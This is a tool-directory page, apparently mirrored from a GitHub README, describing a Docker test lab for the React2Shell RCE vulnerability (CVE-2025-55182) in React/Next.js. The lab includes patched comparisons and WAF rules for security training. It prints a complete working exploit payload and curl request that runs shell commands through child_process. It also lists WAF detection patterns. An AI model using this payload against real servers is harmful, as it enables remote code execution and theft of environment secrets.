Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
cve-2025-55182-test-lab-windows — # Laboratorio di test basato su Docker per la vulnerabilità RCE CVE-2025-55182 (React2Shell) in React 19.1.0/Next.js 15.1.0. Include script di exploit, test di bypass WAF con NGINX/ModSecurity e confronto con la versione patchata per formazione sulla sicurezza. | Kitploit
Strumenti/GitHubGitHub/fankh/cve-2025-55182-test-lab-windows
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebBypass WAFCTFPenetration TestingApprendimento e FormazioneSviluppo PayloadLab e Pratica
GitHubfankh/cve-2025-55182-test-lab-windows

cve-2025-55182-test-lab-windows

# Laboratorio di test basato su Docker per la vulnerabilità RCE CVE-2025-55182 (React2Shell) in React 19.1.0/Next.js 15.1.0. Include script di exploit, test di bypass WAF con NGINX/ModSecurity e confronto con la versione patchata per formazione sulla sicurezza.

Vedi Repository
149 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Test CVE-2025-55182 (React2Shell)

⚠️ Avviso: contiene una vulnerabilità di esecuzione remota di codice (RCE) realmente funzionante.

📋 Indice

  • Panoramica
  • Informazioni sulla vulnerabilità
  • Avvio rapido
  • Dimostrazione dell'attacco reale
  • Ambiente di test
  • Regole di difesa WAF
  • Struttura dei file
  • Riferimenti
  • Avviso legale

Panoramica

Ambiente di test containerizzato per la vulnerabilità CVE-2025-55182 (React2Shell).

Caratteristiche principali

  • ✅ Riproduzione reale della vulnerabilità - ambiente React 19.1.0 / Next.js 15.1.0
  • ✅ Attacco RCE riuscito - verifica dell'esecuzione reale dei comandi
  • ✅ Test delle difese WAF - configurazione delle regole NGINX e Apache ModSecurity
  • ✅ Confronto versioni patchate - test della versione vulnerabile vs versione patchata
  • ✅ Ambiente Docker completo - ambiente container isolato

Risultato dell'attacco

🔴 CRITICAL VULNERABILITY CONFIRMED!
   Successfully executed 6/7 commands

Executed Commands:
  ✅ whoami: root
  ✅ hostname: c89f1bd355b2
  ✅ pwd: /app
  ✅ id: uid=0(root) gid=0(root) groups=0(root)...
  ✅ uname: Linux c89f1bd355b2 6.6.87.2-microsoft-standard-WSL2...
  ✅ node-ver: v20.19.6

Informazioni sulla vulnerabilità

CVE-2025-55182 (React2Shell)

Punteggio CVSS: 10.0 (CRITICO)
Impatto: esecuzione remota di codice (RCE)
Autenticazione richiesta: nessuna
Vettore di attacco: rete

Versioni vulnerabili

  • React: 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • Next.js: < 15.0.5, < 15.1.9, < 15.2.6, < 15.3.6, < 15.4.8, < 15.5.7, < 16.0.7

Versioni patchate

  • React: 19.1.2+
  • Next.js: 15.0.5+, 15.1.9+, 15.2.6+, 15.3.6+, 15.4.8+, 15.5.7+, 16.0.7+

Meccanismo dell'attacco

  1. Prototype Pollution - inquinamento del prototipo tramite $1:__proto__:then
  2. Accesso al Function constructor - accesso tramite deserializzazione Blob (prefisso $B)
  3. Esecuzione di codice arbitrario - creazione di funzioni con codice controllato dall'attaccante
  4. Esecuzione di comandi di sistema - RCE tramite child_process
// 공격 페이로드 구조
{
  "then": "$1:__proto__:then",           // Object.prototype.then 오염
  "status": "resolved_model",
  "reason": -1,
  "value": '{"then": "$B0"}',            // Blob 역직렬화 트리거
  "_response": {
    "_prefix": "악성_코드",               // 실행할 코드
    "_formData": {
      "get": "$1:constructor:constructor"  // Function constructor 접근
    }
  }
}

Avvio rapido

Prerequisiti

  • Docker Desktop
  • Node.js 20+ (per test locali, opzionale)
  • Almeno 4 GB di RAM
  • Almeno 2 GB di spazio libero su disco

Passo 1: avvio dell'ambiente

Windows (PowerShell):

PowerShell -ExecutionPolicy Bypass -File .\run-tests.ps1 start

Passo 2: verifica dello stato

.\run-tests.ps1 status

È necessario attendere che tutti i container diventino healthy (circa 1-2 minuti).

Passo 3: esecuzione dell'attacco

Windows (PowerShell):

# 방법 1: PowerShell 스크립트 사용 (권장)
.\tests\exploit-working.ps1

# 방법 2: Node.js 직접 실행
node tests\exploit-working.js

### Passo 4: verifica dei risultati

I risultati dell'esecuzione dei comandi possono essere verificati nei log del server:

```bash
docker compose logs vulnerable-app --tail=20

Dimostrazione dell'attacco

Script di attacco automatizzato

exploit-working.js ⭐ Consigliato

Windows:

# PowerShell 스크립트 (권장)
.\tests\exploit-working.ps1

# 또는 Node.js 직접 실행
node tests\exploit-working.js

Cosa fa lo script:

  • ✅ Esecuzione di comandi shell arbitrari
  • ✅ Cattura dell'output dei comandi dai log del server
  • ✅ Test automatico di più comandi
  • ✅ Report dettagliato sulla vulnerabilità

Comandi testati:

  • whoami - utente corrente (root)
  • hostname - nome host del container
  • pwd - directory di lavoro (/app)
  • id - informazioni complete sull'utente
  • uname -a - informazioni di sistema
  • node --version - versione di Node.js

Attacco manuale

Attacco diretto con curl

# 페이로드 파일 생성
cat > payload.txt << 'EOF'
------WebKitFormBoundary123
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\": \"$B0\"}","_response":{"_prefix":"console.log('[EXPLOIT] RCE Success');const result=require('child_process').execSync('whoami').toString();console.log('[RESULT]',result);","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundary123
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundary123--
EOF

# 공격 전송
curl -X POST http://localhost:3000/ \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary123" \
  -H "Next-Action: exploit" \
  --data-binary @payload.txt

# 로그 실행 확인
docker compose logs vulnerable-app --tail=20 | grep -E "\[EXPLOIT\]|\[RESULT\]"

Esecuzione di comandi personalizzati

È possibile eseguire i comandi desiderati modificando lo script di attacco:

// exploit-working.js 파일에서:
const tests = [
  { name: 'custom', cmd: 'ls -la /app', desc: '애플리케이션 디렉토리 목록' },
  { name: 'env', cmd: 'printenv', desc: '환경 변수 출력' }
]

Ambiente di test

Container Docker

PortaServizioVersione ReactScopoStato WAF
3000vulnerable-app19.1.0Vulnerabile - test CVE-2025-55182❌ Nessuna protezione
3001patched-app19.1.2Sicuro - verifica dell'efficacia della patch✅ Patchato
8080nginx → vulnerable19.1.0Test WAF (NGINX)⚠️ Limitato (body non ispezionato)
8081apache → vulnerable19.1.0Test WAF (ModSecurity)⚠️ Limitato (risposta 405)
8082nginx → patched19.1.2Test di doppia protezione✅ Patchato

Ambiente dell'applicazione

  • Framework: Next.js 15.1.0 (App Router)
  • Versione React: 19.1.0 (vulnerabile)
  • Node.js: 20.19.6

Scenari di test

Scenario 1: attacco alla versione vulnerabile

# 작동하는 공격 실행
node tests/exploit-working.js

# 예상 결과: 명령어 실행 성공
# 출력: 사용자 정보, 시스템 세부 정보 등

Scenario 2: test della versione patchata

Windows (PowerShell):

# PowerShell 스크립트 사용
.\tests\exploit-working.ps1 -Port 3001

Risultato atteso: l'attacco fallisce (React 19.1.2 blocca l'attacco)

Scenario 3: test di blocco WAF

Windows (PowerShell):

# NGINX WAF를 통한 공격 시도
.\tests\exploit-working.ps1 -Port 8080

Risultato atteso: bloccato dalle regole WAF


Regole di difesa WAF

Regole di difesa NGINX

Posizione: nginx/nginx.conf

Pattern di rilevamento:

  1. Prototype Pollution - __proto__, constructor:constructor
  2. Sfruttamento del Flight protocol - riferimenti $X:__proto__, $B
  3. Gadget Chain - child_process, execSync, require()
  4. Bypass tramite URL encoding - %5f%5fproto%5f%5f
  5. Header sospetti - Next-Action: #constructor

Comportamento di blocco:

HTTP 403 Forbidden
{
  "error": "Request blocked by WAF",
  "protection": "CVE-2025-55182",
  "waf": "NGINX"
}

Regole Apache ModSecurity

Posizione: apache/modsecurity-rules.conf

Intervallo ID regole: 100001-100017

Regole principali:

  • 100001: rilevamento di __proto__
  • 100002: accesso alla constructor chain
  • 100003-100004: sfruttamento del Flight protocol
  • 100006-100007: pattern di gadget chain
  • 100008-100011: tentativi di RCE (child_process, exec, spawn, require)
  • 100015: header Next-Action sospetto
  • 100017: blocco basato sul punteggio di anomalia

Test WAF

# NGINX 차단 테스트
curl -X POST http://localhost:8080/ \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"polluted": true}}'

# 예상 응답: HTTP 403
Scarica lo strumento